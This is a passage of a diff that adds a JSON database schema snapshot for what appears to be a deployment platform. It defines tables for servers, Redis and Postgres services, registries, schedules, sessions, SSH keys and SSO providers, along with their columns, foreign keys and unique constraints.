+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "postgres_environmentId_environment_environmentId_fk": {
+ "name": "postgres_environmentId_environment_environmentId_fk",
+ "tableFrom": "postgres",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "postgres_serverId_server_serverId_fk": {
+ "name": "postgres_serverId_server_serverId_fk",
+ "tableFrom": "postgres",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "postgres_appName_unique": {
+ "name": "postgres_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.preview_deployments": {
+ "name": "preview_deployments",
+ "schema": "",
+ "columns": {
+ "previewDeploymentId": {
+ "name": "previewDeploymentId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "branch": {
+ "name": "branch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestId": {
+ "name": "pullRequestId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestNumber": {
+ "name": "pullRequestNumber",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestURL": {
+ "name": "pullRequestURL",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestTitle": {
+ "name": "pullRequestTitle",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestCommentId": {
+ "name": "pullRequestCommentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "previewStatus": {
+ "name": "previewStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "domainId": {
+ "name": "domainId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "preview_deployments_applicationId_application_applicationId_fk": {
+ "name": "preview_deployments_applicationId_application_applicationId_fk",
+ "tableFrom": "preview_deployments",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "preview_deployments_domainId_domain_domainId_fk": {
+ "name": "preview_deployments_domainId_domain_domainId_fk",
+ "tableFrom": "preview_deployments",
+ "tableTo": "domain",
+ "columnsFrom": [
+ "domainId"
+ ],
+ "columnsTo": [
+ "domainId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "preview_deployments_appName_unique": {
+ "name": "preview_deployments_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.project": {
+ "name": "project",
+ "schema": "",
+ "columns": {
+ "projectId": {
+ "name": "projectId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "project_organizationId_organization_id_fk": {
+ "name": "project_organizationId_organization_id_fk",
+ "tableFrom": "project",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.redirect": {
+ "name": "redirect",
+ "schema": "",
+ "columns": {
+ "redirectId": {
+ "name": "redirectId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "regex": {
+ "name": "regex",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "replacement": {
+ "name": "replacement",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "permanent": {
+ "name": "permanent",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "uniqueConfigKey": {
+ "name": "uniqueConfigKey",
+ "type": "serial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "redirect_applicationId_application_applicationId_fk": {
+ "name": "redirect_applicationId_application_applicationId_fk",
+ "tableFrom": "redirect",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.redis": {
+ "name": "redis",
+ "schema": "",
+ "columns": {
+ "redisId": {
+ "name": "redisId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "redis_environmentId_environment_environmentId_fk": {
+ "name": "redis_environmentId_environment_environmentId_fk",
+ "tableFrom": "redis",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "redis_serverId_server_serverId_fk": {
+ "name": "redis_serverId_server_serverId_fk",
+ "tableFrom": "redis",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "redis_appName_unique": {
+ "name": "redis_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.registry": {
+ "name": "registry",
+ "schema": "",
+ "columns": {
+ "registryId": {
+ "name": "registryId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "registryName": {
+ "name": "registryName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "imagePrefix": {
+ "name": "imagePrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "registryUrl": {
+ "name": "registryUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "selfHosted": {
+ "name": "selfHosted",
+ "type": "RegistryType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'cloud'"
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "registry_organizationId_organization_id_fk": {
+ "name": "registry_organizationId_organization_id_fk",
+ "tableFrom": "registry",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.rollback": {
+ "name": "rollback",
+ "schema": "",
+ "columns": {
+ "rollbackId": {
+ "name": "rollbackId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "deploymentId": {
+ "name": "deploymentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "version": {
+ "name": "version",
+ "type": "serial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "image": {
+ "name": "image",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fullContext": {
+ "name": "fullContext",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "rollback_deploymentId_deployment_deploymentId_fk": {
+ "name": "rollback_deploymentId_deployment_deploymentId_fk",
+ "tableFrom": "rollback",
+ "tableTo": "deployment",
+ "columnsFrom": [
+ "deploymentId"
+ ],
+ "columnsTo": [
+ "deploymentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.schedule": {
+ "name": "schedule",
+ "schema": "",
+ "columns": {
+ "scheduleId": {
+ "name": "scheduleId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cronExpression": {
+ "name": "cronExpression",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serviceName": {
+ "name": "serviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "shellType": {
+ "name": "shellType",
+ "type": "shellType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'bash'"
+ },
+ "scheduleType": {
+ "name": "scheduleType",
+ "type": "scheduleType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'application'"
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "script": {
+ "name": "script",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "timezone": {
+ "name": "timezone",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "schedule_applicationId_application_applicationId_fk": {
+ "name": "schedule_applicationId_application_applicationId_fk",
+ "tableFrom": "schedule",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "schedule_composeId_compose_composeId_fk": {
+ "name": "schedule_composeId_compose_composeId_fk",
+ "tableFrom": "schedule",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "schedule_serverId_server_serverId_fk": {
+ "name": "schedule_serverId_server_serverId_fk",
+ "tableFrom": "schedule",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "schedule_organizationId_organization_id_fk": {
+ "name": "schedule_organizationId_organization_id_fk",
+ "tableFrom": "schedule",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.scim_provider": {
+ "name": "scim_provider",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "provider_id": {
+ "name": "provider_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scim_token": {
+ "name": "scim_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "scim_provider_organization_id_organization_id_fk": {
+ "name": "scim_provider_organization_id_organization_id_fk",
+ "tableFrom": "scim_provider",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "scim_provider_provider_id_unique": {
+ "name": "scim_provider_provider_id_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "provider_id"
+ ]
+ },
+ "scim_provider_scim_token_unique": {
+ "name": "scim_provider_scim_token_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "scim_token"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.security": {
+ "name": "security",
+ "schema": "",
+ "columns": {
+ "securityId": {
+ "name": "securityId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "security_applicationId_application_applicationId_fk": {
+ "name": "security_applicationId_application_applicationId_fk",
+ "tableFrom": "security",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "security_username_applicationId_unique": {
+ "name": "security_username_applicationId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "username",
+ "applicationId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.server": {
+ "name": "server",
+ "schema": "",
+ "columns": {
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ipAddress": {
+ "name": "ipAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "port": {
+ "name": "port",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'root'"
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enableDockerCleanup": {
+ "name": "enableDockerCleanup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "buildsConcurrency": {
+ "name": "buildsConcurrency",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverStatus": {
+ "name": "serverStatus",
+ "type": "serverStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'active'"
+ },
+ "serverType": {
+ "name": "serverType",
+ "type": "serverType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'deploy'"
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "sshKeyId": {
+ "name": "sshKeyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metricsConfig": {
+ "name": "metricsConfig",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{\"server\":{\"type\":\"Remote\",\"refreshRate\":60,\"port\":4500,\"token\":\"\",\"urlCallback\":\"\",\"cronJob\":\"\",\"retentionDays\":2,\"thresholds\":{\"cpu\":0,\"memory\":0}},\"containers\":{\"refreshRate\":60,\"services\":{\"include\":[],\"exclude\":[]}}}'::jsonb"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "server_organizationId_organization_id_fk": {
+ "name": "server_organizationId_organization_id_fk",
+ "tableFrom": "server",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "server_sshKeyId_ssh-key_sshKeyId_fk": {
+ "name": "server_sshKeyId_ssh-key_sshKeyId_fk",
+ "tableFrom": "server",
+ "tableTo": "ssh-key",
+ "columnsFrom": [
+ "sshKeyId"
+ ],
+ "columnsTo": [
+ "sshKeyId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.session": {
+ "name": "session",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "token": {
+ "name": "token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "ip_address": {
+ "name": "ip_address",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_agent": {
+ "name": "user_agent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "impersonated_by": {
+ "name": "impersonated_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "active_organization_id": {
+ "name": "active_organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "session_user_id_user_id_fk": {
+ "name": "session_user_id_user_id_fk",
+ "tableFrom": "session",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "session_token_unique": {
+ "name": "session_token_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ssh-key": {
+ "name": "ssh-key",
+ "schema": "",
+ "columns": {
+ "sshKeyId": {
+ "name": "sshKeyId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "privateKey": {
+ "name": "privateKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "publicKey": {
+ "name": "publicKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "lastUsedAt": {
+ "name": "lastUsedAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "ssh-key_organizationId_organization_id_fk": {
+ "name": "ssh-key_organizationId_organization_id_fk",
+ "tableFrom": "ssh-key",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.sso_provider": {
+ "name": "sso_provider",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "issuer": {
+ "name": "issuer",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "oidc_config": {
+ "name": "oidc_config",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "saml_config": {
+ "name": "saml_config",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "provider_id": {
+ "name": "provider_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "domain": {
+ "name": "domain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "sso_provider_user_id_user_id_fk": {
+ "name": "sso_provider_user_id_user_id_fk",
+ "tableFrom": "sso_provider",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "sso_provider_organization_id_organization_id_fk": {
+ "name": "sso_provider_organization_id_organization_id_fk",
+ "tableFrom": "sso_provider",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "sso_provider_provider_id_unique": {
+ "name": "sso_provider_provider_id_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "provider_id"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.project_tag": {
+ "name": "project_tag",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "projectId": {
+ "name": "projectId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tagId": {
+ "name": "tagId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "project_tag_projectId_project_projectId_fk": {
+ "name": "project_tag_projectId_project_projectId_fk",
+ "tableFrom": "project_tag",
+ "tableTo": "project",
+ "columnsFrom": [
+ "projectId"
+ ],
+ "columnsTo": [
+ "projectId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "project_tag_tagId_tag_tagId_fk": {
+ "name": "project_tag_tagId_tag_tagId_fk",
